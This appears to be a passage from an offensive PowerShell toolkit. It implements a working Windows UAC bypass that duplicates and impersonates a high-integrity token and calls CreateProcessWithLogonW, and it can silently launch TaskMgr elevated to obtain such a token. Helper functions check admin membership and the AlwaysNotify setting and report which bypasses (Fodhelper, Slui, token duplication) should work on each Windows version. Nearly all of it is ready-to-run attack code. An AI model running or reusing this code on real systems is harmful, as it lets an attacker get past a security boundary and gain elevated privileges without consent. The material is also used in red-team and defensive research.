    $TOKEN_MANDATORY_LABEL_Struct.Label = $SID_AND_ATTRIBUTES_Struct
    [IntPtr]$TOKEN_MANDATORY_LABEL_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TOKEN_MANDATORY_LABEL::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($TOKEN_MANDATORY_LABEL_Struct, $TOKEN_MANDATORY_LABEL_PTR,$False)
    $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL_Struct)

	if($ntdll::NtSetInformationToken($hNewToken,25,$TOKEN_MANDATORY_LABEL_PTR,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) {
		Write-Verbose "[*] Lowered token mandatory IL"
	} else {
		Write-Verbose "[!] Failed modify token!`n"
		Break
	}
	[IntPtr]$LUAToken = [System.IntPtr]::Zero
	if($ntdll::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) {
		Write-Verbose "[*] Created restricted token"
	} else {
		Write-Verbose "[!] Failed to create restricted token!`n"
		Break
	}
	[IntPtr]$hNewToken = [System.IntPtr]::Zero
	$NEW_SECURITY_ATTRIBUTES_Struct = [Activator]::CreateInstance($SECURITY_ATTRIBUTES)
    [IntPtr]$NEW_SECURITY_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SECURITY_ATTRIBUTES::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($NEW_SECURITY_ATTRIBUTES_Struct, $NEW_SECURITY_ATTRIBUTES_PTR,$False)
	if($Advapi32::DuplicateTokenEx($LUAToken,0xc,$NEW_SECURITY_ATTRIBUTES_PTR,2,2,[ref]$hNewToken)){
		Write-Verbose "[*] Duplicated restricted token"
	} else {
		Write-Verbose "[!] Failed to duplicate restricted token!`n"
		Break
	}
	if($Advapi32::ImpersonateLoggedOnUser($hNewToken)){
		Write-Verbose "[*] Successfully impersonated security context"
	} else {
		Write-Verbose "[!] Failed impersonate context!`n"
		Break
	}

	$STARTUP_INFO_STRUCT = [Activator]::CreateInstance($STARTUPINFO)
    $STARTUP_INFO_STRUCT.dwFlags = 0x00000001 
    $STARTUP_INFO_STRUCT.wShowWindow = 0x0001
    $STARTUP_INFO_STRUCT.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($STARTUP_INFO_STRUCT)
    [IntPtr]$STARTUP_INFO_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($STARTUPINFO::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($STARTUP_INFO_STRUCT,$STARTUP_INFO_PTR,$false)
	$PROCESS_INFORMATION_STRUCT = [Activator]::CreateInstance($PROCESS_INFORMATION)
    [IntPtr]$PROCESS_INFORMATION_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PROCESS_INFORMATION::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($PROCESS_INFORMATION_STRUCT,$PROCESS_INFORMATION_PTR,$false)
	$path = $Env:SystemRoot
	$advapi32::CreateProcessWithLogonW("l","o","l",0x00000002,$Binary,$Binary + " " + $Arguments,0x04000000,$null,$path,$STARTUP_INFO_PTR,[ref]$PROCESS_INFORMATION_PTR)



}


function Invoke-TokenDuplication {
    <#
    .SYNOPSIS
        Bypasses UAC by Duplicating a HI security access token and calling CreateProcessWithLogonW() 
        Author: Matt Nelson (@enigma0x3), James Forshaw (@tiraniddo) and Ruben Boonen (@fuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
    .DESCRIPTION
       This function will enumerate the process listing for any processes that have a HI security access token.
       If one is identified, it will Duplicate that token, apply it to the current thread and then call
       CreateProcessWithLogonW() to start a new process with that HI security access token. If a HI token is not 
       found, the function will start one via the "RunAs" verb for TaskMgr.exe, loop the process list again and 
       Duplicate any newly found HI security access tokens.
    .PARAMETER Binary
       Should exist in System32. If it doesn't, modify the path.
    .PARAMETER Arguments
       Any arguments that follow the binary entered.
    .PARAMETER ProcID
       Process ID of a proc with a HI security access token applied. This will use a specified process
       instead of looping the process list.
    .EXAMPLE
        Invoke-TokenDuplication -Binary "cmd.exe" -Arguments "/c calc.exe" -Verbose
        Loops the proccess list, duplicates a HI token and starts cmd.exe /c calc.exe with that token.
    .EXAMPLE
        Invoke-TokenDuplication -Binary "cmd.exe" -Arguments "/c calc.exe" -ProcID 1128 -Verbose
        Uses Process ID 1128 to duplicate the token and start cmd.exe /c calc.exe with that token.
    .LINK
        https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
        https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-2.html
        https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-3.html
        https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1
        https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-TokenDuplication.ps1
    .AUTHOR
        Matt Nelson (@enigma0x3)
        James Forshaw (@tiraniddo)
        Ruben Boonen (@fuzzySec)
    #>
    param(
		[Parameter(Mandatory = $True)]
		[String]$Binary,
		[Parameter(Mandatory = $False)]
		[String]$Arguments,
		[Parameter(Mandatory = $False)]
		[int]$ProcID
	)


    if(!$ProcID){
        $VerbosePreference = "continue"
        Write-Verbose "Enumerating Process list..."
        $HIProc = @(EnumProcesses)
        if($HIProc.count -eq 0){
            Write-Verbose "No HI process available, starting one..."
            $StartInfo = New-Object Diagnostics.ProcessStartInfo
            $StartInfo.FileName = "TaskMgr.exe"
            $StartInfo.UseShellExecute = $true
            $StartInfo.Verb = "runas"
            $Startinfo.WindowStyle = 'Hidden'
            $Startinfo.CreateNoWindow = $True
            $Process = New-Object Diagnostics.Process
            $Process.StartInfo = $StartInfo
            $null = $Process.Start()
            Write-Verbose "Enumerating Process list again..."
            $HIProc = EnumProcesses
            Write-Verbose "HI Process found. PID: $HIProc"
            Write-Verbose "DuplicatingToken from $HIProc"
            Write-Verbose $Binary
            $null = ElevateProcess $HIProc $Binary $Arguments
            Write-Verbose "Sleeping 5 seconds..."
            Start-sleep 5
            Write-Verbose "Killing the newly created process"
            $null = $Kernel32::TerminateProcess($Process.Handle,1)
        }else{
            Write-Verbose "HI Proc found. ID: $HIProc"
            ElevateProcess $HIProc $Binary $Arguments
        }
    }else{
        Write-Verbose "Elevating $ProcID"
        ElevateProcess $ProcID $Binary $Arguments
    }
	
	
}
###########################
# End Token impersonation #
###########################

function Get-AlwaysNotifySetting {
    <#
    .SYNOPSIS
        Determine if AlwaysNotify is on. Some UAC bypasses will fail when this setting is enabled
    .DESCRIPTION
       Determine if AlwaysNotify is on. Some UAC bypasses will fail when this setting is enabled,
       Returns $true or $false
    .EXAMPLE
        Get-AlwaysNotifySetting
    #>
    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop

    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1) {
        return $true
    } else {
        return $false
    }

}


function Test-IsAdmin {
    <#
    .SYNOPSIS
        Return if the current user is in the Administrators group.
    .DESCRIPTION
        Query the user's groups to determine if they contain the group
        that is the Administrator SID, S-1-5-32-544.
        
        Returns $true or $false.
    .EXAMPLE
        Test-IsAdmin
    #>


    $IsAdmin = whoami /groups /fo csv | ConvertFrom-CSV | Where-Object { $_.SID -eq 'S-1-5-32-544' }

    if ($IsAdmin -eq $null) {
        Write-Host "[-] $env:USERNAME is not a local Administrator."
        return $false
    } else {
        Write-Host "[+] $env:USERNAME is a local Administrator!"
        return $true
    }

}


function Write-UACOptions {
    <#
    .SYNOPSIS
        Write a specific string froma list of strings.
    .DESCRIPTION
       This function simply spits out what bypass uac methods
       are available based on a pass string.
    .PARAMETER Options
        List of strings to writeout.
    .EXAMPLE
        Write-UACOptions -Options @('Invoke-FodHelperBypass')
    #>
    param(
		[Parameter(Mandatory = $True)]
		[String[]]$Option
	)

    $Notify = Get-AlwaysNotifySetting

    $AlwaysNotifyBypassMethods = @('Invoke-TokenDuplication')

    if ($Notify) {
        Write-Output '[!] Warning: AlwaysNotify UAC setting detected.'
    }

    $Option | % {
        if ($Notify -eq $false) {
            Write-Output "[+] $_ should work to bypass UAC."
        } elseif ($Notify -and $AlwaysNotifyBypassMethods.Contains($_)) {
            Write-Output "[+] $_ should work to bypass UAC."
        }
    }

    Write-Output ""
}


function Test-UAC {
    <#
    .SYNOPSIS
        Determine which fileless methods for UAC bypass are available.
    .DESCRIPTION
       This function determines:
       1. Is the user currently a part of the Administrators group.
       2. If the Always Notify setting for UAC is enabled. If so, most
          techniques will not work.
       3. The operating system this script is running on. Certain bypass
          methods (Such as Invoke-FodhelperBypass) do not work on legacy
          Windows.
       Based on 1 and 2, it will return which functions should be used
       to bypass UAC.

       NOTE: Untested operating systems are Windows 8 and Server 2003.
             Tested on the following version and build numbers:
             
             6.1.7601 (Windows 7)
             10.0.14393 (Server 2016)
             6.3.9600 (Server 2012)
             6.1.7601 (Server 2008)
             10.0.15063 (Windows 10)
             10.0.16299 (Windows 10)

    .EXAMPLE
        Test-UAC
    #>

    $IsAdmin = Test-IsAdmin

    # Current user inelible for UAC bypass.
    if ($IsAdmin -eq $false) {
        return $null
    }

    $Version = (Get-WmiObject Win32_OperatingSystem -Property Version).Version

    Write-Output "[Info] $env:COMPUTERNAME is Windows $Version."
    Write-Output ""

    $UACTable = @{
        "7"=@('Invoke-TokenDuplication');
        "10"=@('Invoke-SluiBypass','Invoke-FodhelperBypass', 'Invoke-TokenDuplication');
        "2008"=@('Invoke-TokenDuplication');
        "2012"=@('Invoke-SluiBypass');
        "2016"=@('Invoke-TokenDuplication','Invoke-SluiBypass','Invoke-FodhelperBypass')
    }

    # Windows 7 or Server 2008
    if ($Version.StartsWith('6.1')) {
        Write-UACOptions -Option $UACTable['7']
    # Windows 10 or Server 2016
    } elseif ($Version.StartsWith('10.0')) {
        Write-UACOptions -Option $UACTable['10']
    # Server 2012
    } elseif ($Version.StartsWith('6.3')) {
        Write-UACOptions -Option $UACTable['2012']
    # Windows 8 or Server 2003?
    } else {
        Write-Output '[-] No compatible operating system found.'
    }
}